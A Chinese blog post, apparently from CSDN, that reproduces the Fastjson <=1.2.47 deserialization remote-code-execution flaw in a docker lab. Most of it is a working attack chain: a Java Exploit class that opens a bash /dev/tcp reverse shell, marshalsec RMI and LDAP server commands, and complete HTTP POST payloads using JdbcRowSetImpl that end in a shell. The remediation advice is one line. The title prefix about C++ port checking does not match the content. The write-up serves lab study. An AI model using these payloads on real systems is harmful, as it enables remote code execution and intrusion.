c++ 检查远程主机端口_Fastjson<=1.2.47版本远程代码执行漏洞复现

一、漏洞介绍

0x01 fastjson介绍

          Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。它可以解析 JSON 格式的字符串,支持将 Java Bean序列化为JSON字符串,也可以从 JSON 字符串反序列化 Java Bean。

0x02 漏洞介绍

         Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type"指定反序列化的类型。并且Fastjson自定义的反序列化机制会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者就可以构造恶意数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,如果指定类的指定方法中有可以被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

二、影响范围

Fastjson < =1.2.47

三、漏洞复现

0x01 攻击过程讲解

(1):攻击示意图

2645fadf40bc5a561199086806ea355e.png

主机A(Ubuntu):存在fastjson反序列化漏洞的主机
主机C(kali2018):开启RMI/LDAP服务
主机B(kali2018):编译生成Exploit.class文件,也就是构造的恶意类(包含要执行的命令)

       说明:整改攻击过程需要三台主机,本人在测试过程中,使用Ubuntu作为主机A,使用kali2018这台主机的不同端口来作为主机B和主机C。

(1):攻击流程

①:攻击者使用payload攻击主机A(该payload需要指定rmi/ldap地址)

②:主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C

③:主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类

④:主机A引发恶意系统命令执行

0x02环境搭建

使用docker搭建环境。(如果本地搭建docker下载镜像太慢,可以看文章后面有解决方法)

(1):切换到fastjson

cd vulhub/fastjson/1.2.47-rce/

a0c87db4640079656c6efce499e73fdc.png

(2):启动docker环境

docker-compose up -d

99ad5fc2a3ae9c53e154bd75b85f4e6b.png

(3):访问目标端口

e5ae971c8650ea893c23668e60e8fc38.png

fastjson搭建成功。

0x03 漏洞复现

(1):判断目标站点使用fastjson(有回显)

{"name":"bob","age":"18"

使用POST请求发送数据包,并且不闭合{}。

9592d59caebccfc55d26a9633537cb9e.png

(2):判断目标站点使用fastjson(无回显)

{          "zeo":{"            @type":"java.net.Inet4Address",      "val":"生成的dnslog"          }}

d3dc5f7d7bb80375123c80b078396f05.png

         本来可以通过dnslog的流量可以判断目标站点是不是使用了fastjson,但是这块不太明白为什么在dnslog上没有收到流量,好在返回包中发现了fastjson的版本。

(3):创建Exploit.java文件

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "exec 5<>/dev/tcp/xx.xx.xx.xx/port;cat  while read line; do= $line 2>&5 >&5; done"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }        p.waitFor();        is.close();        reader.close();        p.destroy();    }    public static void main(String[] args) throws Exception {    }}

a6e85e761dd50b11518941430ec541a9.png

注意:文件名称必须命名为Exploit.java,不然会报错,上面的IP和地址写的是接收反弹shell的IP和地址。

(4):编译Exploit.java文件为Exploit.java文件

javac Exploit.java

bd16657d4a654858a50e25b2408112ff.png

执行完成上述命令之后,会生成一个Exploit.class文件。

(5):启动web服务

python2 -m SimpleHTTPServer 8080python3 -m http.server 8080

         上面两种方式启动临时的HTTP服务,HTTP服务必须要在Exploit.class文件所在的目录启动,这样才可以下载Exploit.class文件。

5c05192ae7ea1cf0b5af690517057937.png

(6):下载marshalsec(目的是后面开启LDAP服务)

下载链接:https://github.com/mbechler/marshalsec

使用marshalsec项目是为了启动一个 RMI 服务器,监听端口并制定加载远程类。

b272645de2d149b009ebd3ee4a1636ce.png

(7):配置mvn(kali下)

①:下载mvn

wget https://archive.apache.org/dist/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz

b356bc8168848e0dd4918fcae5d53700.png

②:创建解压目录

mkdir /usr/local/maven

8437b96202c00db0bb0aa7f64a53bab5.png

③:解压到指定目录

tar -zxvf apache-maven-3.5.4-bin.tar.gz -C /usr/local/maven/

22fdf7e749f030b2e45b1ef1613fa44d.png

④:配置环境变量

leafpad /etc/profile#添加如下内容MAVEN_HOME=/usr/local/maven/apache-maven-3.5.4PATH=$MAVEN_HOME/bin:$PATHexport MAVEN_HOME PATH

620d64f906f0506b35466f9701fda3b0.png

⑤:使配置生效

source /etc/profile

b3c2a1812ce901591e391065e1521cd1.png

⑥:查看mvn版本

mvn -v

0ed7ea6f9744ea76e0b346558cf047b7.png

(8):编译marshalsec

cd marshalsec-mastermvn clean package -DskipTests

910b8f407c59f5e1079f4d78f3bdf42f.png

4db8e25852f700026ac17b0c61dfc939.png

(9):开启远程方法调用

cd targetjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.223.160:8080/#Exploit" 9999

1eb283b239dda53a9f78803ebf7876a2.png

(10):Dnslog接收流量

POST / HTTP/1.1Host: 192.168.223.175:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 260{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://dnslog/Exploit",        "autoCommit":true    }}

c85d17be0a4f90fae09dd7731900fd80.png

查看dnslog平台上的流量,发现收到流量。

e3c161d1b1b23eaecaa50a82ee0c5ec0.png

(11):反弹shell

使用环境:

目标主机(Ubuntu:192.168.223.175):存在fastjson漏洞

         RMI主机(kali2018:192.168.223.160):使用该主机的两个端口,一个8080端口开启服务,使该主机可以访问到Exploit.class这个文件,一个9999端口,是marshalsec开启的RMI或者LDAP的端口

  接收shell的主机(kali2019:192.168.223.138):该主机的IP及4444端口被写进了Exploit.java文件中并被编译成了Exploit.class文件,因此使用该主机监听4444端口,就可以接收到shell

  • RMI方式

①:监听主机监听4444端口

45a356f2f7ff002e22929a64eccdd125.png

②:开启远程方法调用

cd targetjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.223.160:8080/#Exploit" 9999

1eb283b239dda53a9f78803ebf7876a2.png

③:发送payload

POST / HTTP/1.1Host: 192.168.223.175:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 265{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.223.160:9999/Exploit",        "autoCommit":true    }}

5c88be026a00df4150a5cdcc066bc66e.png

④:成功getshell

12af917f307dcf2d77368b6bb9c74c55.png

  • LDAP方式

①:监听主机监听4444端口

5a2055decc57527730407d9ad69da1a4.png

②:开启远程方法调用

cd targetjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.223.160:8080/#Exploit" 9999

5ef0166b3af89978ac6d09859a25ae57.png

③:发送payload

POST / HTTP/1.1Host: 192.168.223.175:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 265{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://192.168.223.160:9999/Exploit",        "autoCommit":true    }}

19339d08af413356b13e6b4f25e2c106.png

④:成功getshell

15271ef7ccd3ed1a4d8d1faf2dd05aef.png

0x04 复现总结

       Fastjson漏洞的复现比较复杂,加上反弹shell的主机一共涉及了三台主机,下面将该漏洞复现的过程简要说明一下:

(1):使用docker在一台Ubuntu上搭建fastjson漏洞环境

(2):在kali2018上创建Exploit.java文件并编译成Exploit.class文件

(3):在kali2018上开启一个临时服务,目的是可以远程加载生成的Exploit.class这个文件

(4):在kali2018上使用marshalsec开启远程方法调用

(5):在kali2019上进行监听(在Exploit.java中的反弹shell的地址是kali2019的地址)

(6):访问Ubuntu上的漏洞环境并构造数据包

(7):成功getshell

四、修复建议

0x01 升级到 1.2.48版本及以上

五、解决docker下载镜像失败问题

0x01 docker安装国内源

编辑/etc/docker/daemon.json这个文件,如果没有这个文件就创建一个文件。

vi /etc/docker/daemon.json#添加如下网易镜像源{"registry-mirrors": ["http://hub-mirror.c.163.com"]}

即使使用了国内源,有可能也无法快速的下载相关的镜像。因此可以使用阿里云加速器。

0x02 docker安装加速器

(1):注册或登录阿里云

https://cn.aliyun.com/

(2):进入控制台

994bcb4b91372bc3622af8edf48adca7.png

(3):搜索镜像容器服务

06cf3cb8969f2ccddd4117a735ff237b.png

(4):查看镜像加速器

c89a5360ad2c7b5ddff0bb07f0cc8918.png

(5):修改本地文件

vim /etc/docker/daemon.json

c889afc12559a11e53883076d84ab01c.png

(6):重启docker加速器

systemctl daemon-reload

2765424151bb8c4a5e8dd17cf002b944.png

(7):重启docker服务

systemctl restart docker

0e6768891bb1ca1657283df158271d3d.png

参考链接:https://blog.csdn.net/god_zzZ/article/details/107122487

0c30db4b6bdad0e55d259d416db45325.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值